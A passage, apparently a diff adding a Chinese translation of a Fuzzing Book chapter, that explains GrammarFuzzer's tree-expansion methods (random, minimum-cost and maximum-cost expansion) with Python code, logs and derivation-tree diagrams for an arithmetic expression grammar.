+*ε扩展*的情况，即像`<symbol> ::=`一样扩展为空字符串需要特殊处理：
+
+```py
+expansion_to_children("")
+
+```
+
+```py
+[('', [])]
+
+```
+
+就像有关语法的[一章中的`nonterminals()`一样，我们提供了将来的扩展，使扩展成为具有额外数​​据的元组（将被忽略）。](Grammars.html)
+
+```py
+expansion_to_children(("+<term>", ["extra_data"]))
+
+```
+
+```py
+[('+', []), ('<term>', None)]
+
+```
+
+我们在`GrammarFuzzer`中将这种帮助器实现为一种方法，以便它可以被子类重载：
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expansion_to_children(self, expansion):
+        return expansion_to_children(expansion)
+
+```
+
+这样，我们现在可以在树中获取一些未扩展的节点，选择随机扩展，然后返回新树。 这就是方法`expand_node_randomly()`的工作，它使用辅助函数`choose_node_expansion()`从可能的子级数组中随机选择一个索引。 （`choose_node_expansion()`可以在子类中重载。）
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def choose_node_expansion(self, node, possible_children):
+        """Return index of expansion in `possible_children` to be selected.  Defaults to random."""
+        return random.randrange(0, len(possible_children))
+
+    def expand_node_randomly(self, node):
+        (symbol, children) = node
+        assert children is None
+
+        if self.log:
+            print("Expanding", all_terminals(node), "randomly")
+
+        # Fetch the possible expansions from grammar...
+        expansions = self.grammar[symbol]
+        possible_children = [self.expansion_to_children(
+            expansion) for expansion in expansions]
+
+        # ... and select a random expansion
+        index = self.choose_node_expansion(node, possible_children)
+        chosen_children = possible_children[index]
+
+        # Process children (for subclasses)
+        chosen_children = self.process_chosen_children(chosen_children,
+                                                       expansions[index])
+
+        # Return with new children
+        return (symbol, chosen_children)
+
+```
+
+通用的`expand_node()`方法可以稍后用于选择不同的扩展策略； 截至目前，它仅使用`expand_node_randomly()`。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expand_node(self, node):
+        return self.expand_node_randomly(node)
+
+```
+
+辅助功能`process_chosen_children()`不执行任何操作。 子类可以重载它，以处理选定的子项。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def process_chosen_children(self, chosen_children, expansion):
+        """Process children after selection.  By default, does nothing."""
+        return chosen_children
+
+```
+
+`expand_node_randomly()`的工作方式如下：
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR, log=True)
+
+print("Before:")
+tree = ("<integer>", None)
+display_tree(tree)
+
+```
+
+```py
+Before:
+
+```
+
+<svg height="23pt" viewBox="0.00 0.00 63.00 23.00" width="63pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 19)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-3.8"><integer></text></g></g></svg>
+
+```py
+print("After:")
+tree = f.expand_node_randomly(tree)
+display_tree(tree)
+
+```
+
+```py
+After:
+Expanding <integer> randomly
+
+```
+
+<svg height="74pt" viewBox="0.00 0.00 123.50 74.00" width="124pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 70)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="54" y="-54.8"><integer></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21" y="-3.8"><digit></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="88" y="-3.8"><integer></text></g> <g class="edge" id="edge2"><title>0->2</title></g></g></svg>
+
+## 展开树
+
+现在让我们将上述节点扩展应用于树中的某个节点。 为此，我们首先需要在树中搜索未扩展的节点。 `possible_expansions()`计算一棵树中有多少个未扩展符号：
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def possible_expansions(self, node):
+        (symbol, children) = node
+        if children is None:
+            return 1
+
+        return sum(self.possible_expansions(c) for c in children)
+
+```
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR)
+print(f.possible_expansions(derivation_tree))
+
+```
+
+```py
+2
+
+```
+
+如果树有任何未扩展的节点，则方法`any_possible_expansions()`返回True。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def any_possible_expansions(self, node):
+        (symbol, children) = node
+        if children is None:
+            return True
+
+        return any(self.any_possible_expansions(c) for c in children)
+
+```
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR)
+f.any_possible_expansions(derivation_tree)
+
+```
+
+```py
+True
+
+```
+
+`expand_tree_once()`是我们的树扩展算法的核心方法。 它首先检查它当前是否正在不扩展的情况下应用于非终端符号。 如果是这样，它将如上所述调用`expand_node()`。
+
+如果该节点已经展开（即具有子节点），则检查仍具有未扩展符号的子节点的子集，随机选择其中一个，然后将其自身递归应用于该子节点。
+
+`expand_tree_once()`方法在位置处替换子级*，这意味着它实际上使作为参数传递的树发生了变异，而不是返回新树。 这种原位突变使此功能特别有效。 同样，我们使用辅助方法（`choose_tree_expansion()`）从可以扩展的子级列表中返回所选索引。*
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def choose_tree_expansion(self, tree, children):
+        """Return index of subtree in `children` to be selected for expansion.  Defaults to random."""
+        return random.randrange(0, len(children))
+
+    def expand_tree_once(self, tree):
+        """Choose an unexpanded symbol in tree; expand it.  Can be overloaded in subclasses."""
+        (symbol, children) = tree
+        if children is None:
+            # Expand this node
+            return self.expand_node(tree)
+
+        # Find all children with possible expansions
+        expandable_children = [
+            c for c in children if self.any_possible_expansions(c)]
+
+        # `index_map` translates an index in `expandable_children`
+        # back into the original index in `children`
+        index_map = [i for (i, c) in enumerate(children)
+                     if c in expandable_children]
+
+        # Select a random child
+        child_to_be_expanded = \
+            self.choose_tree_expansion(tree, expandable_children)
+
+        # Expand in place
+        children[index_map[child_to_be_expanded]] = \
+            self.expand_tree_once(expandable_children[child_to_be_expanded])
+
+        return tree
+
+```
+
+让我们使用它，从上方扩展两次衍生树。
+
+```py
+derivation_tree = ("<start>",
+                   [("<expr>",
+                     [("<expr>", None),
+                      (" + ", []),
+                         ("<term>", None)]
+                     )])
+display_tree(derivation_tree)
+
+```
+
+<svg height="125pt" viewBox="0.00 0.00 142.50 125.00" width="143pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 121)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-105.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-54.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-3.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-3.8">+</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-3.8"><term></text></g> <g class="edge" id="edge4"><title>1->4</title></g></g></svg>
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR, log=True)
+derivation_tree = f.expand_tree_once(derivation_tree)
+display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <term> randomly
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 187.50 176.00" width="188pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-105.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-54.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-54.8">+</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-54.8"><term></text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="65.5" y="-3.8"><factor></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-3.8">/</text></g> <g class="edge" id="edge6"><title>4->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="158.5" y="-3.8"><term></text></g> <g class="edge" id="edge7"><title>4->7</title></g></g></svg>
+
+```py
+derivation_tree = f.expand_tree_once(derivation_tree)
+display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <expr> randomly
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 299.00 176.00" width="299pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147" y="-105.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="93" y="-54.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147" y="-54.8">+</text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="198" y="-54.8"><term></text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21" y="-3.8"><term></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="68" y="-3.8">+</text></g> <g class="edge" id="edge4"><title>2->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="114" y="-3.8"><expr></text></g> <g class="edge" id="edge5"><title>2->5</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="177" y="-3.8"><factor></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="225" y="-3.8">/</text></g> <g class="edge" id="edge9"><title>7->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="270" y="-3.8"><term></text></g> <g class="edge" id="edge10"><title>7->10</title></g></g></svg>
+
+我们看到，每一步都会扩展一个符号。 现在所有要做的就是一次又一次地应用它，使树越来越远。
+
+## 关闭扩展
+
+使用`expand_tree_once()`，我们可以继续扩展树–但是我们如何实际上停止？ Luke在[ [Luke *等人*等，2000。](https://doi.org/10.1109/4235.873237)]中引入的关键思想是，在将派生树膨胀到某个最大大小之后，我们*只想应用 将树的大小增加最小的扩展*。 例如，对于`<factor>`，我们希望将其扩展为`<integer>`，因为这不会带来进一步的递归（和潜在的规模膨胀）。 对于`<integer>`，同样，最好将其扩展为`<digit>`，因为与`<digit><integer>`相比，树的大小增加较少。
+
+为了确定扩展符号的*成本*，我们引入了两个相互依赖的函数：
+
+*   `symbol_cost()`返回符号的所有扩展的最低成本，使用`expansion_cost()`计算每次扩展的成本。
+*   `expansion_cost()`返回`expansions`中所有扩展的总和。 如果遍历过程中再次遇到非终结符，则扩展成本为$ \ infty $，表示（可能是无限的）递归。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def symbol_cost(self, symbol, seen=set()):
+        expansions = self.grammar[symbol]
+        return min(self.expansion_cost(e, seen | {symbol}) for e in expansions)
+
+    def expansion_cost(self, expansion, seen=set()):
+        symbols = nonterminals(expansion)
+        if len(symbols) == 0:
+            return 1  # no symbol
+
+        if any(s in seen for s in symbols):
+            return float('inf')
+
+        # the value of a expansion is the sum of all expandable variables
+        # inside + 1
+        return sum(self.symbol_cost(s, seen) for s in symbols) + 1
+
+```
+
+这里有两个示例：扩展数字的最低成本为1，因为我们必须从其扩展之一中进行选择。
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR)
+assert f.symbol_cost("<digit>") == 1
+
+```
+
+但是，扩展`<expr>`的最小成本为5，因为这是所需的最小扩展数。 （`<expr>` $ \ rightarrow $ `<term>` $ \ rightarrow $ `<factor>` $ \ rightarrow $ `<integer>` $ \ rightarrow $ `<digit>` $ \ rightarrow $ 1）
+
+```py
+assert f.symbol_cost("<expr>") == 5
+
+```
+
+现在是`expand_node()`的变体，它考虑了上述成本。 它确定所有子项的最低成本`cost`，然后使用`choose`功能从列表中选择一个子项，默认情况下这是最低成本。 如果多个孩子都具有相同的最低费用，它将在这些孩子之间随机选择。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expand_node_by_cost(self, node, choose=min):
+        (symbol, children) = node
+        assert children is None
+
+        # Fetch the possible expansions from grammar...
+        expansions = self.grammar[symbol]
+
+        possible_children_with_cost = [(self.expansion_to_children(expansion),
+                                        self.expansion_cost(
+                                            expansion, {symbol}),
+                                        expansion)
+                                       for expansion in expansions]
+
+        costs = [cost for (child, cost, expansion)
+                 in possible_children_with_cost]
+        chosen_cost = choose(costs)
+        children_with_chosen_cost = [child for (child, child_cost, _) in possible_children_with_cost
+                                     if child_cost == chosen_cost]
+        expansion_with_chosen_cost = [expansion for (_, child_cost, expansion) in possible_children_with_cost
+                                      if child_cost == chosen_cost]
+
+        index = self.choose_node_expansion(node, children_with_chosen_cost)
+
+        chosen_children = children_with_chosen_cost[index]
+        chosen_expansion = expansion_with_chosen_cost[index]
+        chosen_children = self.process_chosen_children(
+            chosen_children, chosen_expansion)
+
+        # Return with a new list
+        return (symbol, chosen_children)
+
+```
+
+快捷方式`expand_node_min_cost()`通过`min()`作为`choose`功能，从而使其以最小的成本扩展了节点。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expand_node_min_cost(self, node):
+        if self.log:
+            print("Expanding", all_terminals(node), "at minimum cost")
+
+        return self.expand_node_by_cost(node, min)
+
+```
+
+现在，我们可以使用此函数来关闭派生树的扩展，将`expand_tree_once()`与上面的`expand_node_min_cost()`用作扩展函数。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expand_node(self, node):
+        return self.expand_node_min_cost(node)
+
+```
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR, log=True)
+display_tree(derivation_tree)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 299.00 176.00" width="299pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147" y="-105.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="93" y="-54.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147" y="-54.8">+</text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="198" y="-54.8"><term></text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21" y="-3.8"><term></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="68" y="-3.8">+</text></g> <g class="edge" id="edge4"><title>2->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="114" y="-3.8"><expr></text></g> <g class="edge" id="edge5"><title>2->5</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="177" y="-3.8"><factor></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="225" y="-3.8">/</text></g> <g class="edge" id="edge9"><title>7->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="270" y="-3.8"><term></text></g> <g class="edge" id="edge10"><title>7->10</title></g></g></svg>
+
+```py
+if f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)
+    display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <term> at minimum cost
+
+```
+
+```py
+if f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)
+    display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <factor> at minimum cost
+
+```
+
+```py
+if f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)
+    display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <factor> at minimum cost
+
+```
+
+我们一直在扩展，直到所有非终端都扩展了。
+
+```py
+while f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)    
+
+```
+
+```py
+Expanding <expr> at minimum cost
+Expanding <term> at minimum cost
+Expanding <integer> at minimum cost
+Expanding <factor> at minimum cost
+Expanding <integer> at minimum cost
+Expanding <digit> at minimum cost
+Expanding <digit> at minimum cost
+Expanding <term> at minimum cost
+Expanding <integer> at minimum cost
+Expanding <factor> at minimum cost
+Expanding <digit> at minimum cost
+Expanding <integer> at minimum cost
+Expanding <digit> at minimum cost
+
+```
+
+这是最后一棵树：
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="431pt" viewBox="0.00 0.00 314.00 431.00" width="314pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 427)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="154.5" y="-411.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="154.5" y="-360.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="100.5" y="-309.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="154.5" y="-309.8">+</text></g> <g class="edge" id="edge15"><title>1->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="205.5" y="-309.8"><term></text></g> <g class="edge" id="edge16"><title>1->16</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-258.8"><term></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-258.8">+</text></g> <g class="edge" id="edge8"><title>2->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-258.8"><expr></text></g> <g class="edge" id="edge9"><title>2->9</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><factor></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><integer></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><digit></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8">7</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="119.5" y="-207.8"><term></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="119.5" y="-156.8"><factor></text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="119.5" y="-105.8"><integer></text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="119.5" y="-54.8"><digit></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="119.5" y="-3.8">2</text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="185.5" y="-258.8"><factor></text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="233.5" y="-258.8">/</text></g> <g class="edge" id="edge21"><title>16->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="278.5" y="-258.8"><term></text></g> <g class="edge" id="edge22"><title>16->22</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.5" y="-207.8"><integer></text></g> <g class="edge" id="edge18"><title>17->18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.5" y="-156.8"><digit></text></g> <g class="edge" id="edge19"><title>18->19</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.5" y="-105.8">8</text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="278.5" y="-207.8"><factor></text></g> <g class="edge" id="edge23"><title>22->23</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="278.5" y="-156.8"><integer></text></g> <g class="edge" id="edge24"><title>23->24</title></g> <g class="node" id="node26"><title>25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="278.5" y="-105.8"><digit></text></g> <g class="edge" id="edge25"><title>24->25</title></g> <g class="node" id="node27"><title>26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="278.5" y="-54.8">1</text></g> <g class="edge" id="edge26"><title>25->26</title></g></g></svg>
+
+我们看到，在每个步骤中，`expand_node_min_cost()`选择一个不增加符号数量的扩展，最终关闭所有打开的扩展。
+
+## 节点膨胀
+
+尤其是在扩展开始时，我们可能有兴趣让*尽可能多的节点* –也就是说，我们希望扩展使*的更多*非终端扩展。 实际上，这与`expand_node_min_cost()`所提供的完全相反，我们可以实现一种`expand_node_max_cost()`方法，该方法将始终在*成本最高*的节点之间进行选择：
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expand_node_max_cost(self, node):
+        if self.log:
+            print("Expanding", all_terminals(node), "at maximum cost")
+
+        return self.expand_node_by_cost(node, max)
+
+```
+
+为了说明`expand_node_max_cost()`，我们可以再次重新定义`expand_node()`以使用它，然后使用`expand_tree_once()`显示一些扩展步骤：
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def expand_node(self, node):
+        return self.expand_node_max_cost(node)
+
+```
+
+```py
+derivation_tree = ("<start>",
+                   [("<expr>",
+                     [("<expr>", None),
+                      (" + ", []),
+                         ("<term>", None)]
+                     )])
+
+```
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR, log=True)
+display_tree(derivation_tree)
+
+```
+
+<svg height="125pt" viewBox="0.00 0.00 142.50 125.00" width="143pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 121)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-105.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-54.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-3.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="66.5" y="-3.8">+</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-3.8"><term></text></g> <g class="edge" id="edge4"><title>1->4</title></g></g></svg>
+
+```py
+if f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)
+    display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <term> at maximum cost
+
+```
+
+```py
+if f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)
+    display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <term> at maximum cost
+
+```
+
+```py
+if f.any_possible_expansions(derivation_tree):
+    derivation_tree = f.expand_tree_once(derivation_tree)
+    display_tree(derivation_tree)
+
+```
+
+```py
+Expanding <factor> at maximum cost
+
+```
+
+我们看到，每一步，非末端的数量都会增加。 显然，我们必须对此数字进行限制。
+
+## 三个扩展阶段
+
+现在，我们可以将所有三个阶段放到一个函数`expand_tree()`中，该函数的工作方式如下：
+
+1.  **最大成本扩展。** 使用扩展以最大的代价扩展树，直到我们至少拥有`min_nonterminals`个非终结点。 通过将`min_nonterminals`设置为零，可以轻松跳过此阶段。
+2.  **随机扩展。** 继续随机扩展树，直到我们到达`max_nonterminals`非终结点为止。
+3.  **最低成本扩展。** 以最小的成本关闭扩展。
+
+我们通过使`expand_node`引用要应用的扩展方法来实现这三个阶段。 通过先将`expand_node`（方法参考）设置为`expand_node_max_cost`（即，调用`expand_node()`会调用`expand_node_max_cost()`），然后是`expand_node_randomly`，最后是`expand_node_min_cost`来控制。 在前两个阶段，我们还分别设置了`min_nonterminals`和`max_nonterminals`的最大限制。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def log_tree(self, tree):
+        """Output a tree if self.log is set; if self.display is also set, show the tree structure"""
+        if self.log:
+            print("Tree:", all_terminals(tree))
+            if self.disp:
+                display(display_tree(tree))
+            # print(self.possible_expansions(tree), "possible expansion(s) left")
+
+    def expand_tree_with_strategy(self, tree, expand_node_method, limit=None):
+        """Expand tree using `expand_node_method` as node expansion function
+ until the number of possible expansions reaches `limit`."""
+        self.expand_node = expand_node_method
+        while ((limit is None
+                or self.possible_expansions(tree) < limit)
+               and self.any_possible_expansions(tree)):
+            tree = self.expand_tree_once(tree)
+            self.log_tree(tree)
+        return tree
+
+    def expand_tree(self, tree):
+        """Expand `tree` in a three-phase strategy until all expansions are complete."""
+        self.log_tree(tree)
+        tree = self.expand_tree_with_strategy(
+            tree, self.expand_node_max_cost, self.min_nonterminals)
